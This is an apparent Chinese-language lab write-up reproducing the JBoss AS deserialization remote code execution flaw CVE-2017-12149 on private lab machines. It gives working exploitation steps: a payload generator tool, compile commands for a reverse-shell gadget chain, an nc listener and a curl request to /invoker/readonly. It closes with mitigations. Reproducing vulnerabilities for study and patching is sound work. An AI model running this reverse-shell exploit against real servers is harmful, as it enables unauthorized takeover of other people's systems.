声明:漏洞复现过程并非原创,仅为成功搭建后给自己以及后来人的记录。侵删。
漏洞描述
近期,互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大。漏洞危害程度为高危(High)。
影响范围
漏洞影响5.x和6.x版本的JBOSSAS。目前评估潜在受影响主机数量超过5000台2].
漏洞原理
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购。
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
漏洞原理分析和漏洞利用分析正在进行,再次更新时会补上。
漏洞复现
环境搭建
首先进行搭建环境,这里我是用我的电脑本机和虚拟机 kali 进行的,当然你也有其他的选择。
准备阶段:
kali : 192.168.73.131
win7 : 192.168.73.128 (安装了 java 环境)
Windows7的Java环境配置
Java环境配置是基本操作了,网上都有详细教程,在这里就不详细赘述了。下载的是当前最新的jdk-1.8.0_171
Windows7的Jboss配置
1.下载jboss-as-6.1.0-final,下载下来是一个压缩包
http://jbossas.jboss.org/downloads/
2.把他解压到一个目录下,我的是C:\JBOSS\jboss-6.1.0.Final(路径最好不要有空格)
3..新建环境变量:JBOSS_HOME:值为: C:\JBOSS\jboss-6.1.0.Final
在path中加入:%JBOSS_HOME%\bin; (记得加分号隔开前一个路径)
4.完成环境变量配置后,在C:\JBOSS\jboss-6.1.0.Final\bin下打开cmd,输入call run.bat。运行bat文件。出现红标即成功。(记得不要忘了环境变量path中要有c:\system32…那个windows命令集变量,自行百度)
5.在浏览器中输入localhost:8080或127.0.0.1:8080(localhost不行可以试试这个)打开JBOSS。或者http://YourHost:8080
6.进入invoker/readonly,若显示HTTP Status 500 -,则显示漏洞存在。
Kali Linux上的监听及漏洞利用
1.反序列化工具,解压放到kali桌面即可
http://scan.javasec.cn/java/JavaDeserH2HC.zip
2.首先进入JavaDeserH2HC文件夹中
root@kali:~# cd Desktop
root@kali:~/Desktop# cd JavaDeserH2HC
2.接下来输入命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.73.131:4444(IP是kali的ip,4444是下面要监听的端口,这里写哪个端口下面就要监听哪个端口)
3.打开新的终端进行监听
nc -vlp 4444
4.这个时候会同目录下生成一个ReverseShellCommonsCollectionsHashMap.ser文件,curl 这个二进制文件就可以了。
curl http://192.168.73.128:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
漏洞防护
建议用户升级到JBOSS AS7。另,不能及时升级的用户,可采取如下临时解决方案:
1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。